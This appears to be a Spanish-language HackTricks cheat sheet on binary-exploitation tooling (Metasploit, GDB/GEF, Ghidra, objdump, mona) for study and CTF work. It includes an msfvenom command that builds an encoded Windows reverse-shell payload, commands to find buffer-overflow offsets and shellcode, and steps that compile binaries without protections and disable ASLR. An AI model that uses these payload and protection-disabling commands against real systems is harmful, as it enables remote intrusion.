0x22bb
/
hacktricks
mirror of https://github.com/carlospolop/hacktricks.git
1
2
Fork 0
Code Releases Activity
hacktricks/exploiting/tools
History
Translator workflow 06b9602174 Translated to Spanish 2023-06-03 01:46:23 +00:00
..
README.md Translated to Spanish 2023-06-03 01:46:23 +00:00
pwntools.md Translated to Spanish 2023-06-03 01:46:23 +00:00

README.md

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Metasploit

pattern_create.rb -l 3000   #Length
pattern_offset.rb -l 3000 -q 5f97d534   #Search offset
nasm_shell.rb
nasm> jmp esp   #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01

Shellcodes

Un shellcode es un pequeño programa que se utiliza como carga útil en una explotación de vulnerabilidades. El objetivo de un shellcode es proporcionar al atacante un acceso remoto a la máquina comprometida. Los shellcodes suelen estar escritos en lenguaje ensamblador y se ejecutan directamente en la memoria del proceso vulnerable.

Hay diferentes tipos de shellcodes, como los que se utilizan para abrir una shell remota, los que se utilizan para descargar y ejecutar un archivo malicioso, los que se utilizan para crear un usuario con privilegios, etc.

Para crear un shellcode, es necesario conocer el sistema operativo y la arquitectura de la máquina objetivo. También es importante tener conocimientos de lenguaje ensamblador y de programación en general. Existen herramientas como Metasploit que permiten generar shellcodes de forma automática para diferentes sistemas operativos y arquitecturas.

msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c

GDB

Instalación

apt-get install gdb

Parámetros

-q --> No muestra el banner
-x <archivo> --> Ejecuta automáticamente las instrucciones de GDB desde aquí
-p <pid> --> Se adjunta al proceso

Instrucciones

> disassemble main --> Desensambla la función
> disassemble 0x12345678
> set disassembly-flavor intel
> set follow-fork-mode child/parent --> Sigue el proceso creado
> p system --> Encuentra la dirección de la función system
> help
> quit

> br func --> Agrega un punto de interrupción a la función
> br *func+23
> br *0x12345678
> del NUM --> Elimina ese número de puntos de interrupción
> watch EXPRESSION --> Interrumpe si el valor cambia

> run --> Ejecuta
> start --> Inicia y se detiene en main
> n/next --> Ejecuta la siguiente instrucción (no dentro)
> s/step --> Ejecuta la siguiente instrucción
> c/continue --> Continúa hasta el siguiente punto de interrupción

> set $eip = 0x12345678 --> Cambia el valor de $eip
> info functions --> Información sobre las funciones
> info functions func --> Información de la función
> info registers --> Valor de los registros
> bt --> Pila
> bt full --> Pila detallada

> print variable
> print 0x87654321 - 0x12345678 --> Calcula
> examine o/x/u/t/i/s dir_mem/reg/puntero --> Muestra el contenido en octal/hexadecimal/10/binario/instrucción/ascii

  • x/o 0xDir_hex
  • x/2x $eip --> 2 palabras desde EIP
  • x/2x $eip -4 --> $eip - 4
  • x/8xb $eip --> 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes)
  • i r eip --> Valor de $eip
  • x/w puntero --> Valor del puntero
  • x/s puntero --> Cadena apuntada por el puntero
  • x/xw &puntero --> Dirección donde se encuentra el puntero
  • x/i $eip —> Instrucciones del EIP

GEF

checksec #Check protections
p system #Find system function address
search-pattern "/bin/sh" #Search in the process memory
vmmap #Get memory mappings

#Shellcode
shellcode search x86 #Search shellcodes
shellcode get 61 #Download shellcode number 61

#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp

#Another way to get the offset of to the RIP
1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
2- ef➤  i f
Stack level 0, frame at 0x7fffffffddd0:
 rip = 0x400cd3; saved rip = 0x6261617762616176
 called by frame at 0x7fffffffddd8
 Arglist at 0x7fffffffdcf8, args: 
 Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
 Saved registers:
  rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
gef➤  pattern search 0x6261617762616176
[+] Searching for '0x6261617762616176'
[+] Found at offset 184 (little-endian search) likely

Trucos

Mismas direcciones en GDB

Mientras se depura con GDB, las direcciones utilizadas por el depurador serán ligeramente diferentes a las utilizadas por el binario cuando se ejecuta. Puedes hacer que GDB tenga las mismas direcciones haciendo lo siguiente:

  • unset env LINES
  • unset env COLUMNS
  • set env _=<ruta> Pon la ruta absoluta al binario
  • Explota el binario usando la misma ruta absoluta
  • PWD y OLDPWD deben ser los mismos al usar GDB y al explotar el binario

Backtrace para encontrar funciones llamadas

Cuando tienes un binario enlazado estáticamente, todas las funciones pertenecerán al binario (y no a bibliotecas externas). En este caso, será difícil identificar el flujo que sigue el binario para, por ejemplo, solicitar la entrada del usuario.
Puedes identificar fácilmente este flujo ejecutando el binario con gdb hasta que se te solicite la entrada. Luego, detenlo con CTRL+C y usa el comando bt (backtrace) para ver las funciones llamadas:

gef➤  bt
#0  0x00000000004498ae in ?? ()
#1  0x0000000000400b90 in ?? ()
#2  0x0000000000400c1d in ?? ()
#3  0x00000000004011a9 in ?? ()
#4  0x0000000000400a5a in ?? ()

Servidor GDB

gdbserver --multi 0.0.0.0:23947 (en IDA hay que llenar la ruta absoluta del ejecutable en la máquina Linux y en la máquina Windows)

Ghidra

Encontrar el desplazamiento de la pila

Ghidra es muy útil para encontrar el desplazamiento para una sobrecarga de búfer gracias a la información sobre la posición de las variables locales.
Por ejemplo, en el siguiente ejemplo, una sobrecarga de búfer en local_bc indica que se necesita un desplazamiento de 0xbc. Además, si local_10 es una cookie canary, indica que para sobrescribirla desde local_bc hay un desplazamiento de 0xac.
Recuerda que los primeros 0x08 desde donde se guarda el RIP pertenecen al RBP.

GCC

gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2 --> Compilar sin protecciones
-o --> Salida
-g --> Guardar código (GDB podrá verlo)
echo 0 > /proc/sys/kernel/randomize_va_space --> Para desactivar el ASLR en Linux

Para compilar un shellcode:
nasm -f elf assembly.asm --> devuelve un ".o"
ld assembly.o -o shellcodeout --> Ejecutable

Objdump

-d --> Desensamblar secciones ejecutables (ver opcodes de un shellcode compilado, encontrar ROP Gadgets, encontrar direcciones de función...)
-Mintel --> Sintaxis Intel
-t --> Tabla de símbolos
-D --> Desensamblar todo (dirección de la variable estática)
-s -j .dtors --> Sección dtors
-s -j .got --> Sección got
-D -s -j .plt --> Sección plt desensamblada
-TR --> Relocalizaciones
ojdump -t --dynamic-relo ./exec | grep puts --> Dirección de "puts" para modificar en GOT
objdump -D ./exec | grep "VAR_NAME" --> Dirección de una variable estática (estas se almacenan en la sección DATA).

Volcados de núcleo

  1. Ejecutar ulimit -c unlimited antes de iniciar mi programa
  2. Ejecutar sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t
  3. sudo gdb --core=<path/core> --quiet

Más

ldd executable | grep libc.so.6 --> Dirección (si hay ASLR, esto cambia cada vez)
for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done --> Bucle para ver si la dirección cambia mucho
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system --> Desplazamiento de "system"
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh --> Desplazamiento de "/bin/sh"

strace executable --> Funciones llamadas por el ejecutable
rabin2 -i ejecutable --> Dirección de todas las funciones

Inmunity debugger

!mona modules    #Get protections, look for all false except last one (Dll of SO)
!mona find -s "\xff\xe4" -m name_unsecure.dll   #Search for opcodes insie dll space (JMP ESP)

IDA

Depuración en Linux remoto

Dentro de la carpeta de IDA se pueden encontrar binarios que se pueden utilizar para depurar un binario dentro de un sistema Linux. Para hacerlo, mueve el binario linux_server o linux_server64 dentro del servidor Linux y ejecútalo dentro de la carpeta que contiene el binario:

./linux_server64 -Ppass

Luego, configure el depurador: Depurador (remoto de Linux) --> Opciones de proceso...:

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥